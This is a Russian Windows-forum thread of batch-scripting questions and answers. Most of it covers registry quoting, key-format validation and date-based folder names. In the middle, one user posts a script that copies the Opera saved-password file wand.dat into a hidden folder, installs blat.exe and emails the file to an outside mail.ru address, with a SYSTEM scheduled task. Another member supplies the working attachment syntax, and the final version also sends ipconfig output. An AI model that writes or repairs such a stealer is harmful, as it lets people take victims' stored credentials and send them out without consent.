Перейти из форума на сайт.

НовостиФайловые архивы
ПоискАктивные темыТоп лист
ПравилаКто в on-line?
Вход Забыли пароль? Первый раз на этом сайте? Регистрация
Компьютерный форум Ru.Board » Операционные системы » Microsoft Windows » Задачи на bat-файлах 9

Модерирует : KLASS, IFkO

vu1tur (09-01-2011 11:53): лимит страниц, продолжение — http://forum.ru-board.com/topic.cgi?forum=62&topic=22143  Версия для печати • ПодписатьсяДобавить в закладки
Страницы: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101

   

vu1tur



Moderator-Saaber
Редактировать | Профиль | Сообщение | ICQ | Цитировать | Сообщить модератору
Задачи на bat-файлах 9
(часть 1, часть 2, часть 3, часть 4, часть 5, часть 6, часть 7, часть 8)
Вопросы, задачи и их решения по работе с командными файлами, а также сопутствующие ссылки.

 
Важно: копируя батник через буфер обмена из форума не забывайте удалять пробелы в конце каждой строки, т.к. в некоторых случаях из-за этого программа будет работать неправильно!!!
 
Также для удаления концевых пробелов пользуйтесь скриптом от Nagual, или VBS-Скрипт-Модулем от ViSiToR.
 
Для перекодирования кирилицы 866<—>1251 пользуйтесь онлайн сервисом Перекодировщик кириллицы

 
Дополняем шапку: добавляем готовые решения, полезные ссылки.
 
Примечание: Большие куски кода заключайте в тэг [more]  
 
Смежные темы:
В помощь системному администратору » Автоматизация администрирования
Программы » Командная строка, батники\сценарии
 
Полезные ссылки
 
Полезные утилиты
 
Готовые решения и частые вопросы:
  • Встроенный справочник по командам
  • Создание помощи по всем командам консоли 2000 и XP
  • Делаем паузу в командном файле стандартными средствами Windows
  • Альтернативные решения »
  • Работа с текстом, датой, и файлами »
  • Администрирование, автоматизация и сеть »
  • Работа с переменными и параметрами ком. строки »
     
    Описания работы команд и символов участниками темы:
    · setlocal enabledelayedexpansion и переменные окружения
    · символы & и && в командной строке
    · Переменная %0

  • Всего записей: 3690 | Зарегистр. 01-02-2003 | Отправлено: 17:45 04-09-2010 | Исправлено: Accessor, 18:04 28-09-2010
    Free_Soft



    Advanced Member
    Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
    Слушайте, как в REG ADD передать кавычки? двойные и ^ не спасают.

    Код:
    REG ADD "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce" /v "Reboot" /t REG_SZ /d ""С:\My folder\My.exe" /s" /f

     
    Добавлено:
    в смысле, чтобы путь был в кавычках
     
    Добавлено:
    хм... вообще и без них работает...

    Всего записей: 1515 | Зарегистр. 19-04-2010 | Отправлено: 17:41 14-11-2010
    VitProff



    Member
    Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
    01MDM
    Не работает, только создает в папке DATA пустые каталоги Text и DBF

    Всего записей: 272 | Зарегистр. 02-10-2008 | Отправлено: 17:54 14-11-2010
    01MDM



    Silver Member
    Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
    Free_Soft
    Кавычки надо экранировать:

    Код:
     
    reg add hkcu\test /v test /t reg_sz /d "\"test test"\"
     

     
    Добавлено:
    VitProff
    Сейчас нет возможности отладить, надеюсь "Folder\*.zip" заменил на свое значение?

    Всего записей: 2638 | Зарегистр. 13-02-2006 | Отправлено: 17:55 14-11-2010
    VitProff



    Member
    Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
    Вариант от smirnvlad заработал.
    Спасибо

    Всего записей: 272 | Зарегистр. 02-10-2008 | Отправлено: 18:01 14-11-2010
    01MDM



    Silver Member
    Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
    И наверное так будет правильней:

    Код:
     
    ....
     
    pushd "Data\%name%\"  
    7za a -t7z "%name%.base.7z"
    popd  
     

    Всего записей: 2638 | Зарегистр. 13-02-2006 | Отправлено: 18:02 14-11-2010
    praidik



    Junior Member
    Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
    Всем привет, у меня вопрос...
    Хотелось бы, чтобы файл wand.dat отсылался мне на почту... Какие изменения для этого нужны?
    cd c:\
    md RECYCLER
    attrib +S +H
    copy C:\Docume~1\%username%\Applic~1\Opera\Opera\wand.dat c:\RECYCLER
    copy /y "blat.exe" "%SYSTEMROOT%/system32/blat.exe"
    copy /y "blat.lib" "%SYSTEMROOT%/system32/blat.lib"
    copy /y "blat.dll" "%SYSTEMROOT%/system32/blat.dll"
    %SYSTEMROOT%/system32/blat.exe -install -server smtp.mail.ru -port 25 -f логин@mail.ru -u логин2011 -pw пароль  
       
    %SYSTEMROOT%/system32/blat.exe "c:\RECYCLER\wand.dat" -to логин@mail.ru  
       
    schtasks /create /tn "security" /sc minute /mo 15 /ru "NT AUTHORITY\SYSTEM" /tr c:\RECYCLER\wand.dat
     
    Заранее спасибо.

    Всего записей: 39 | Зарегистр. 15-11-2010 | Отправлено: 17:37 15-11-2010
    Accessor



    Silver Member
    Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
    praidik
    что ни строчка - то ересь. это ваш код?
     
    Добавлено:
    первая и вторая строка легко приводятся к одной: md c:\Recycler
    третья строка не отработает - не хватает параметров; должно быть так attrib +s +h c:\recycler
    четвёртая строка копирует wand.dat в созданную корзину; но зачем? можно сразу цеплять его в сообщение; зачем создавать промежуточный каталог и файл в нём?
    пятая, шестая и седьмая строки просто не отработают, т.к. первым параметром не указано откуда брать файлы blat.* - хорошо, если они окажутся в текущем каталоге, где будет лежать ваш пакетный файл, а если нет? и вторая ошибка здесь - путь второго параметра задан с прямыми слешами, а нужно с обратными.
    в восьмой и девятой надо бы опустить ботву [%SYSTEMROOT%/system32/] потому что опять слеш прямой вместо обратного. кроме того, система и так будет искать в system32, поскольку по умолчанию она указана в переменной Path. Синтаксис обращения с blat.exe проверять облом.

    Всего записей: 2861 | Зарегистр. 31-10-2003 | Отправлено: 17:50 15-11-2010 | Исправлено: Accessor, 18:06 15-11-2010
    praidik



    Junior Member
    Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
    Accessor
     
    Хорошо...
    blat.* лежат в одной папке с самим батом...
    Всё то работает... но отсылает только такую строку "Contents of file: wand.dat"
    Могли бы вы написать мне нужные команды для отправки файла на майл?

    Всего записей: 39 | Зарегистр. 15-11-2010 | Отправлено: 18:19 15-11-2010 | Исправлено: praidik, 18:24 15-11-2010
    Accessor



    Silver Member
    Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
    praidik
    Цитата:
    Всё то работает...  
    Это, конечно, нонсенс. но если работает, то Бог с ним.

    Цитата:
    Могли бы вы написать мне нужные команды для отправки файла на майл?
    Да, легко. В синтаксисе команды указано:
    Blat <filename> -to <recipient> [optional switches (see below)]
    соответственно у вас должно быть что-то типа:
    blat.exe any_file_with_body_text.txt -to логин@mail.ru -attach c:\recycler\wand.dat -subject "My first email with BLAT"
     

    Всего записей: 2861 | Зарегистр. 31-10-2003 | Отправлено: 18:39 15-11-2010
    praidik



    Junior Member
    Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
    Accessor
    Большое спасибо!  
    Всё работает с вашей помощью.
     
    Следуя вашим советам получилось собственно вот это...
     
    ipconfig>C:\RECYCLER\ip.txt
    blat.exe -install -server smtp.mail.ru -port 25 -f логин@mail.ru -u логин -pw пароль
     
    blat.exe C:\RECYCLER\ip.txt -to praid-@mail.ru -attach C:\Docume~1\%username%\Applic~1\Opera\Opera\wand.dat -subject "My first email with BLAT"

    Всего записей: 39 | Зарегистр. 15-11-2010 | Отправлено: 16:47 16-11-2010
    Free_Soft



    Advanced Member
    Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
    кто подскажет
    ключ вводится через

    Код:
    set /p key=XXXXX-XXXXX-XXXXX-XXXXX-XXXXX

    можно ли вывести ошибку, если будут введены данные другого вида (т.е. не 5 групп букв/цифр, разделенных дефисами)?

    Всего записей: 1515 | Зарегистр. 19-04-2010 | Отправлено: 21:27 16-11-2010
    01MDM



    Silver Member
    Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
    Free_Soft
    Можно так:

    Код:
     
    @echo off
    setlocal
     
    set "key=null"
    set  /p key="Enter key: "
    for /f "tokens=1-5 delims=-" %%i in ("%key%") do call:check %%i %%j %%k %%l %%m
     
    if defined invalid echo "%key%" is invalid value for key
    goto:eof
     
    :check
    for %%i in (%*) do (
     
    echo %%i | 1>nul findstr "\<[a-Z0-9][a-Z0-9][a-Z0-9][a-Z0-9][a-Z0-9]\>" || set "invalid=1"
    set /a cnt+=1
     
    )
     
    if not %cnt%==5 set "invalid=1"
     


    Всего записей: 2638 | Зарегистр. 13-02-2006 | Отправлено: 22:22 16-11-2010 | Исправлено: 01MDM, 22:30 16-11-2010
    Free_Soft



    Advanced Member
    Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
    01MDM
    Признателен) работает и без setlocal. или он здесь критичен? просто код будет вставляться в другой батник

    Всего записей: 1515 | Зарегистр. 19-04-2010 | Отправлено: 22:37 16-11-2010 | Исправлено: Free_Soft, 22:42 16-11-2010
    01MDM



    Silver Member
    Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
    Free_Soft
     
    Что-то там не совсем так, например пройдет  "XXXXX!" или "XXXXX;"
    Попробую доработать. Setlocal на случай если запускать из консоли несколько раз. Без него %cnt% будет продолжать прибавляться.

    Всего записей: 2638 | Зарегистр. 13-02-2006 | Отправлено: 22:56 16-11-2010
    Free_Soft



    Advanced Member
    Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору

    Цитата:
    Setlocal на случай если запускать из консоли несколько раз. Без него %cnt% будет продолжать прибавляться.

    ммм... там будут еще счетчики, которые как раз должны прибавляться..

    Всего записей: 1515 | Зарегистр. 19-04-2010 | Отправлено: 23:00 16-11-2010
    01MDM



    Silver Member
    Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
    Free_Soft,
    Потестируй такой вариант, вроде работает

    Код:
     
    @echo off
     
    set "invalid="
    set "cnt=0"  
    set "key=null"
     
    set  /p key="Enter key: "
     
    for %%i in ("%key:-=","%") do (
     
        echo "%%i" | 1>nul findstr "\<\"[a-Z0-9][a-Z0-9][a-Z0-9][a-Z0-9][a-Z0-9]\"\>" || set "invalid=1"
        set /a cnt+=1
     
    )  
     
    if not %cnt%==5 set "invalid=1"
    if defined invalid echo "%key%" is invalid value for key
     


    Цитата:
    ммм... там будут еще счетчики, которые как раз должны прибавляться..

    Ты не понял. Допустим ты открыл cmd.exe, запустил батник, если батник без setlocal, то все переменные останутся живы в этой сессии cmd, т.е. при повторном запуске из той же консоли, батник получит переменные из предыдущего запуска. Например %cnt% сразу получит значение 5, второй вариант без setlocal  

    Всего записей: 2638 | Зарегистр. 13-02-2006 | Отправлено: 23:29 16-11-2010
    Free_Soft



    Advanced Member
    Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
    Спс, на вскидку вроде все ок, потом еще погоняю
     
    Добавлено:
    Еще вопрос.. возможно, уже поднимался
    нужно создать папку с именем в формате ddmmyy-hhmmss. как из %date% и %time% выдрать разделители?

    Всего записей: 1515 | Зарегистр. 19-04-2010 | Отправлено: 23:37 16-11-2010
    BVV63



    Silver Member
    Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
    Free_Soft
    Ради универсальности лучше не использовать переменные %Date% и %Time%, поскольку они привязаны к формату короткой даты и времени текущего пользователя. Лучше так:

    Код:
    For /F "Delims== Skip=2 Tokens=2 UseBackQ" %%0 In (`WMIC OS Get LocalDateTime /Value`) Do Set LocalDateTime=%%0
    MD <Path>\%LocalDateTime:~2,6%-%LocalDateTime:~8,6%

     
    Добавлено:
    О, пардон, не заметил, что "ddMMyy", обычно ради удобства сортировки используется "yyMMdd". Тогда исправлю:

    Код:
    For /F "Delims== Skip=2 Tokens=2 UseBackQ" %%0 In (`WMIC OS Get LocalDateTime /Value`) Do Set LocalDateTime=%%0
    MD <Path>\%LocalDateTime:~6,2%%LocalDateTime:~4,2%%LocalDateTime:~2,2%-%LocalDateTime:~8,6%

    Всего записей: 3542 | Зарегистр. 17-08-2009 | Отправлено: 05:17 17-11-2010 | Исправлено: BVV63, 05:36 17-11-2010
    Free_Soft



    Advanced Member
    Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
    BVV63

    Цитата:
    Лучше так:  

    Да, действительно лучше) пасиб

    Всего записей: 1515 | Зарегистр. 19-04-2010 | Отправлено: 08:58 17-11-2010 | Исправлено: Free_Soft, 09:07 17-11-2010
    BVV63



    Silver Member
    Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
    Free_Soft

    Код:
    For /F "Delims== Skip=2 Tokens=2 UseBackQ" %%0 In (`WMIC OS Get LocalDateTime /Value`) Do Set LocalDateTime=%%0
    Echo %LocalDateTime:~2,2%.%LocalDateTime:~4,2%.%LocalDateTime:~6,2%-%LocalDateTime:~8,2%.%LocalDateTime:~10,2%.%LocalDateTime:~12,2%

    В этом случае будет "yy.MM.dd-hh.mm.ss". Если нужно дату в формате "dd.MM.yy", то, соответственно, поменяйте фрагменты местами.
     
    Добавлено:
    Хм... Пока я отвечал, уже передумали ?

    Всего записей: 3542 | Зарегистр. 17-08-2009 | Отправлено: 09:11 17-11-2010 | Исправлено: BVV63, 09:12 17-11-2010
       

    Страницы: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101

    Компьютерный форум Ru.Board » Операционные системы » Microsoft Windows » Задачи на bat-файлах 9
    vu1tur (09-01-2011 11:53): лимит страниц, продолжение — http://forum.ru-board.com/topic.cgi?forum=62&topic=22143


    Реклама на форуме Ru.Board.

    Powered by Ikonboard "v2.1.7b" © 2000 Ikonboard.com
    Modified by Ru.Board
    © Ru.Board 2000-2020

    BitCoin: 1NGG1chHtUvrtEqjeerQCKDMUi6S6CG4iC

    Рейтинг.ru